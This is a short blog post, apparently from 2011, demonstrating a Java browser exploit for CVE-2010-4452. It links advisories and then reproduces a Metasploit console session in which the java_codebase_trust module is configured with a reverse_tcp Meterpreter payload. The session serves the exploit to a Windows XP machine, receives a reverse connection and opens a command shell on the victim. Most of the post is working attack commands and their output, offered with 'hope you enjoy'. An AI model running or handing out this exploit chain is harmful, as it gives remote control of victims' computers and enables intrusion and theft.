Blog Archives
Another Java exploit
info :
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4452
http://www.osvdb.org/71193
http://www.zerodayinitiative.com/advisories/ZDI-11-084/
http://www.oracle.com/technetwork/topics/security/javacpufeb2011-304611.html
exploit working againts windows xp sp3 and Firefox 3.6.12 with JRE 1.6.0_23.but fail on windows 7 sp1 with same configuration..
hope you enjoy..
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ — –=[ 658 exploits – 343 auxiliary
+ — –=[ 217 payloads – 27 encoders – 8 nops
=[ svn r12021 updated today (2011.03.18)msf > use exploit/windows/browser/java_codebase_trust
msf exploit(java_codebase_trust) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf exploit(java_codebase_trust) > set LHOST 172.16.16.2
LHOST => 172.16.16.2
msf exploit(java_codebase_trust) > set SRVHOST 172.16.16.2
SRVHOST => 172.16.16.2
msf exploit(java_codebase_trust) > set SRVPORT 80
SRVPORT => 80
msf exploit(java_codebase_trust) > set URIPATH /
URIPATH => /
msf exploit(java_codebase_trust) > exploit -k
[*] Exploit running as background job.[*] Started reverse handler on 172.16.16.2:4444
[*] Using URL: http://172.16.16.2:80/
[*] Server started.
msf exploit(java_codebase_trust) > [*] Sending HTML file to 172.16.16.10:1063…
[*] Sending HTML file to 172.16.16.10:1063…
[*] Sending class file to 172.16.16.10:1064…
[*] Sending class file to 172.16.16.10:1064…
[*] Sending stage (27642 bytes) to 172.16.16.10
[*] Meterpreter session 1 opened (172.16.16.2:4444 -> 172.16.16.10:1065) at 2011-03-19 09:36:12 +0700
[*] Sending HTML file to 172.16.16.10:1063…msf exploit(java_codebase_trust) > sessions -i 1
[*] Starting interaction with 1…meterpreter > sysinfo
Computer : yan-5fe04791245
OS : Windows XP 5.1 (x86)
Meterpreter : java/java
meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.C:\Program Files\Mozilla Firefox>
Ian Hrm 